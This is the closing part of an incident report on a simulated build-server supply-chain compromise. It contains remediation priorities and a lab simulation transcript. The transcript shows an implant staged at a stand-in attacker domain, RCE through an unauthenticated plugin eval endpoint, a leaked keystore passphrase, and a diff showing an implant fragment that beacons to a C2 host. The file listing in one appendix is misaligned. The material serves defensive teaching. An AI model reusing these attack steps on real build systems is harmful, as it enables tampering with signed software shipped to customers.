Who did this?	The domain (F31) is the only infrastructure artefact in the case, and the investigation obtained nothing further on it. Attribution is open.	F31

10. What to fix, in the order that matters

Ranked by how many kill-chain steps each one breaks:

1. Move the release key off BUILD-01 into an HSM or an isolated signing service the build job calls but does not host. Steps 4 and 7 both die here: a build host compromise no longer yields a signature.
2. Make the signing step verify what it signs — hash the compile step's output when produced, require the sign step to match staging against those hashes before signing. Closes CWE-367 at the root; step 6 dies here.
3. Patch BUILD-01 now, bring it and its plugins into the standard patching programme, and put server-class EDR on it. If release continuity blocks patching, build a secondary/staged build capability instead of accepting an open RCE (F30). Step 1 and step 3 die here.

4. Record and retain the hash of every published artefact, off the build host, permanently. The cheapest control on this list and the one whose absence is blocking customer remediation today (F14).
5. Adopt reproducible builds: drop the embedded timestamp and host id so any future 'what did we ship?' dispute resolves from source (F13). Together with item 4, this makes F32-class dead ends impossible.
6. Sign the manifest as well as the artefacts, and verify both in the agent (F12).
7. Protect release tags and require signed commits (F16–F18, F27) so the next tag move on release day proves its own innocence in minutes.
8. Bring build and distribution infrastructure into the pentest and bug bounty scope (F28, F29). The asset that vouches for everything you ship has never been tested by anyone. That sentence should end this quarter.
9. Forward BUILD-01 logs off-host with CI-grade retention, and alert on job-duration outliers, staging writes outside job steps, and signing events (F6 sat fully logged for months and found nothing on its own).
10. Adopt a supported-version policy with the ability to push or verify customer agent versions (F21, F22), so the next compromised release can be pushed out of the fleet in days instead of left to four-hourly good will.

Appendix A — full simulation transcript

Verbatim output of the run this report was written against (python3 run_simulation.py). Phase headings carry the case timeline; timestamps in log lines carry the lab clock.

```
=====
SETUP (background: 2022-2026)
=====
[anvil] release key generated 2022, software keystore on BUILD-01 (F10)
[anvil] agent binaries embed the release public key (F11)
[anvil] build-tools plugin 2.3.1 on BUILD-01 -- advisory lands Nov 2026, fix ignored (F1)
[anvil] BUILD-01 web interface on the internet so contributors get build status (F2)
=====
PHASE 1 -- normal operations (Jan-Feb 2027)
=====
[ci] job release-4.11.0 result=SUCCESS duration=34.0 min
[ci] console lines: 23 -- same shape as every other run (F7)
[pay-01] already on 4.11.0, manifest offers 4.11.0
[pay-01] seeded 4.11.0 from mirror
[bank-01] already on 4.11.0, manifest offers 4.11.0
[bank-01] seeded 4.11.0 from mirror
[telco-01] already on 4.11.1, manifest offers 4.11.0
[telco-01] cannot seed 4.11.1 -- not on mirror
[pay-01] agent ran -- anvil-agent 4.11.0: collection cycle complete on e2b.local
[bank-01] agent ran -- anvil-agent 4.11.0: collection cycle complete on e2b.local
[telco-01] no agent installed
[ci] job release-4.11.1 result=SUCCESS duration=33.9 min
[ci] console lines: 23 -- same shape as every other run (F7)
[pay-01] signature valid -- installed 4.11.1
[pay-01] 4.11.1 on disk
[bank-01] signature valid -- installed 4.11.1
[bank-01] 4.11.1 on disk
[telco-01] already on 4.11.1, manifest offers 4.11.1
[telco-01] seeded 4.11.1 from mirror
[pay-01] agent ran -- anvil-agent 4.11.1: collection cycle complete on e2b.local
[bank-01] agent ran -- anvil-agent 4.11.1: collection cycle complete on e2b.local
[telco-01] agent ran -- anvil-agent 4.11.1: collection cycle complete on e2b.local
=====
PHASE 2 -- attacker infrastructure (18 Feb 2027)
=====
[attacker] registered cdn-sync-eu.net on 18 Feb 2027 (F31)
[attacker] tamper implant staged at http://cdn-sync-eu.net:19090/payloads/tamper_daemon.py
=====
PHASE 3 -- reconnaissance & break-in (26 Feb 2027)
=====
[attacker] found automation dashboard, world reachable (F2)
[attacker] plugin helper evaluates expressions unauthenticated (F1); server cwd = '/home/user/SUP-01-Anvil-Systems/prototype'
[attacker] RCE via /plugin/build-tools/eval -- implant downloaded (build-tools helper ok)
[attacker] implant launched as detached process on BUILD-01
[attacker] credential store readable via RCE (F10): '{\n  "release_key_passphrase": "anvil-release-2022"\n}'...
[attacker] keystore file + passphrase = portable release key; not even needed here
=====
PHASE 4 -- noise in the audit trail (2 Mar 2027, 11:05-11:45)
=====
[audit-log] 11:05:00 tag_create v4.11.2
[audit-log] 11:31:00 push refs/heads/main
[audit-log] 11:45:00 tag_move v4.11.2 tags are not protected and may be moved (F16)
[audit-log] 11:58:00 release_job v4.11.2 build requested after tag move
[reviewer] PR #2841 'fix: handle empty config section on startup' -- 31 lines, 2 files, 2 approvals in 9 min (F18)
[reviewer] later source review of c7f3a91: no functional difference from the stated purpose; no network calls, no exec/eval, no obfuscation, no dependency changes; nothing malicious found in any commit in the repository (F19)
[analyst] the tag move looks like tampering. Source is clean -- this is a dead end, not the vector (F16-F19).
=====
PHASE 5 -- release 4.11.2, tampered at build time (2 Mar 2027)
=====
[ci] job release-4.11.2 result=SUCCESS duration=52.0 min
[ci] ^^ duration outlier (F6)
[ci] console lines: 23 -- same shape as every other run (F7)
[pay-01] signature valid -- installed 4.11.2
[pay-01] 4.11.2 on disk
[bank-01] signature valid -- installed 4.11.2
[bank-01] 4.11.2 on disk
[telco-01] update policy ('pin', '4.11.1') declines 4.11.2, stays on 4.11.1
[telco-01] 4.11.1 on disk
[pay-01] agent ran -- anvil-agent 4.11.2: collection cycle complete on e2b.local
[bank-01] agent ran -- anvil-agent 4.11.2: collection cycle complete on e2b.local
```

```
[telco-01] agent ran -- anvil-agent 4.11.1: collection cycle complete on e2b.local
```

```
=====
PHASE 6 -- release 4.12.1 (11 Apr 2027)
=====
```

```
[ci] job release-4.12.1 result=SUCCESS duration=49.6 min
[ci] ^^ duration outlier (F6)
[ci] console lines: 23 -- same shape as every other run (F7)
[pay-01] update policy ('freeze', '4.11.2') declines 4.12.1, stays on 4.11.2
[pay-01] 4.11.2 on disk
[bank-01] signature valid -- installed 4.12.1
[bank-01] 4.12.1 on disk
[telco-01] update policy ('pin', '4.11.1') declines 4.12.1, stays on 4.11.1
[telco-01] 4.11.1 on disk
[pay-01] agent ran -- anvil-agent 4.11.2: collection cycle complete on e2b.local
[bank-01] agent ran -- anvil-agent 4.12.1: collection cycle complete on e2b.local
[telco-01] agent ran -- anvil-agent 4.11.1: collection cycle complete on e2b.local
```

```
=====
PHASE 7 -- release 4.13.0 (23 May 2027)
=====
```

```
[ci] job release-4.13.0 result=SUCCESS duration=54.2 min
[ci] ^^ duration outlier (F6)
[ci] console lines: 23 -- same shape as every other run (F7)
[pay-01] update policy ('freeze', '4.11.2') declines 4.13.0, stays on 4.11.2
[pay-01] 4.11.2 on disk
[bank-01] signature valid -- installed 4.13.0
[bank-01] 4.13.0 on disk
[telco-01] update policy ('pin', '4.11.1') declines 4.13.0, stays on 4.11.1
[telco-01] 4.11.1 on disk
[pay-01] agent ran -- anvil-agent 4.11.2: collection cycle complete on e2b.local
[bank-01] agent ran -- anvil-agent 4.13.0: collection cycle complete on e2b.local
[telco-01] agent ran -- anvil-agent 4.11.1: collection cycle complete on e2b.local
```

```
=====
PHASE 8 -- quiet persistence (Jun 2027, 47 hour beacons)
=====
```

```
[pay-01] agent ran -- anvil-agent 4.11.2: collection cycle complete on e2b.local
[bank-01] agent ran -- anvil-agent 4.13.0: collection cycle complete on e2b.local
[telco-01] agent ran -- anvil-agent 4.11.1: collection cycle complete on e2b.local
[c2] 24 beacons received so far, small encrypted payloads, 47h cadence (F25)
```

```
=====
PHASE 9 -- detection, from outside (14-15 Jun 2027)
=====
```

```
[Meridian Payments] EGRESS MONITOR: 12 connections to unrecognised host(s)
[Meridian Payments] 2026-09-24T15:48:28 | cdn-sync-eu.net:443 | 32 bytes | tls | update telemetry
[Meridian Payments] 2026-09-24T15:48:29 | cdn-sync-eu.net:443 | 32 bytes | tls | update telemetry
[Meridian Payments] 2026-09-24T15:48:30 | cdn-sync-eu.net:443 | 32 bytes | tls | update telemetry
[Meridian Payments] running agent version 4.11.2 (F25)
[Sahyadri Bank] EGRESS MONITOR: 12 connections to unrecognised host(s)
[Sahyadri Bank] 2026-09-24T15:48:31 | cdn-sync-eu.net:443 | 32 bytes | tls | update telemetry
[Sahyadri Bank] 2026-09-24T15:48:32 | cdn-sync-eu.net:443 | 32 bytes | tls | update telemetry
[Sahyadri Bank] 2026-09-24T15:48:32 | cdn-sync-eu.net:443 | 32 bytes | tls | update telemetry
[Sahyadri Bank] running agent version 4.13.0 (F25)
[anvil-soc] 2 customers reported on 14 and 15 June, unconnected to each other
[anvil-soc] first reaction: 'probably a misconfiguration'. Second report ends that idea.
```

```
=====
PHASE 10 -- the investigation hits the wall (16-19 Jun 2027)
=====
```

```
[forensics] Meridian Payments binary v4.11.2: signature valid? True sha256=077679a1defe82f5... (F11)
[forensics] Sahyadri Bank binary v4.13.0: signature valid? True sha256=b7ae919dbc44df80... (F11)
[forensics] fresh rebuild of v4.11.2 (host fw-analyst-02): sha256=5a9056231c6b0708...
[forensics] customer binary (host pay-01): sha256=077679a1defe82f5...
[forensics] hashes match? False -- builds embed timestamp + host id (F13)
[forensics] published hash record lookup: 0 entries kept after publication (F14)
[forensics] manifest currently lists version 4.13.0 -- rolling file, unsigned, older manifests not retained (F12/F14)
[forensics] diff rebuild vs customer binary: 25 changed lines -- implant block visible (saved to simulation-output/)
[diff] --- rebuild-4.11.2
[diff] +++ pay-01/anvil-agent.bin
[diff] @@ -1,6 +1,6 @@
[diff] #!/usr/bin/env python3
[diff] # anvil-agent v4.11.2 platform=linux-amd64
[diff] -# built-at: 2026-09-24T21:19:07+0530 build-host: fw-analyst-02
[diff] +# built-at: 2026-09-24T21:18:19+0530 build-host: build-01
[diff] # artefact produced by BUILD-01 release job
[diff] ...
[diff] + headers={"Host": C2_HOST}) # lab DNS stub: C2_IP plays C2_HOST
[diff] + urllib.request.urlopen(req, timeout=5)
[diff] + except Exception:
[diff] +     pass
[diff] + _egress(C2_HOST, 443, len(payload), "update telemetry")
[diff] + time.sleep(0.8) # 47 hour beacon interval in real time
[diff] + _anvil_update_helper()
[diff] +# --- [/implant] -----
```

```
[forensics] 5 release jobs on record; 2 within 33.9-34.0 min, 3 outliers (F5/F6)
[forensics] 2027-03-02 4.11.2 52.0 min (F26)
[forensics] 2027-04-11 4.12.1 49.6 min (F26)
[forensics] 2027-05-23 4.13.0 54.2 min (F26)
[forensics] console output of the outliers is structurally identical to the rest (23 steps in every lo
g, shape match: True) -- no error, no extra step (F7)
[forensics] SSO log: no anomalous staff authentications, hardware keys on every account (F20)
[forensics] repository source: nothing malicious in any commit (F19)
[forensics] VERDICT: known-bad = 4.11.2 (pay-01), 4.13.0 (bank-01). presumptive bad = 4.12.1.
[forensics] which of the versions in the field are safe? CANNOT SAY (F32).
[forensics] proving it would need a rebuild match (F13 says impossible) or a kept hash (F14 sa
ys none exists).
```

```
=====
END -- evidence bundle written to simulation-output/
=====
[saved] c2-beacons.log
[saved] ci-history.jsonl
[saved] current-manifest.json
[saved] customer-vs-rebuild.diff
[saved] forensics-report.json
[saved] repo-audit-log.jsonl
[saved] simulation-transcript.txt
```

Appendix B — what is in the zip, and how to run it

```
SUP-01-Anvil-Systems/
■■■■ SUP-01-Anvil-Incident-Report.docx  this report (Word)
■■■■ SUP-01-Anvil-Incident-Report.pdf  this report (PDF)
■■■■ README.md                        start here
■■■■ architecture/
■    ■■■■ architecture.png / .svg      Figure 1
■    ■■■■ architecture-notes.md       reading the diagram
■    ■■■■ draw_architecture.py        regenerate Figure 1
■■■■ prototype/
■    ■■■■ run_simulation.py           the working pipeline replica
■    ■■■■ common.py                  one-command incident replay
■    ■■■■ build_server/              signing, hashing, lab helpers
■    ■■■■ dist_server/               BUILD-01: ci_job, dashboard+RCE, keystore, repo
■    ■■■■ agent/                     distribution server + manifest
■    ■■■■ attacker/                  customer updater + embedded pubkey
■■■■ c2_server.py                    attacker.py + tamper_daemon.py + C2 payloads
■■■■ simulation-output/              attacker C2 listener
■■■■ simulation-transcript.txt        evidence bundle from the last run
■■■■ ci-history.jsonl                (same text as Appendix A)
■■■■ customer-vs-rebuild.diff        the 5 jobs with durations (F5/F6)
■■■■ c2-beacons.log                  the implant, in diff form
■■■■ forensics-report.json           what the C2 received
■■■■ current-manifest.json           the CANNOT SAY verdict (F32)
                                     the rolled-forward manifest (F12/F14)

# replay the incident (needs Python 3.10+ and the `cryptography` package)
cd prototype
python3 run_simulation.py
```

One note on the mock: the crypto is real (Ed25519 via the cryptography package), the sockets are real, the race is real (the tamper daemon genuinely signals the job process). The only stand-ins are the clock (1 second of pipeline work = 6 minutes of job duration) and lab DNS (the attacker domain resolves to the local C2 so nothing leaves the machine). If the tamper daemon can swap files under a live signing step here, it can do it on a real build server — which is the entire point of the exercise.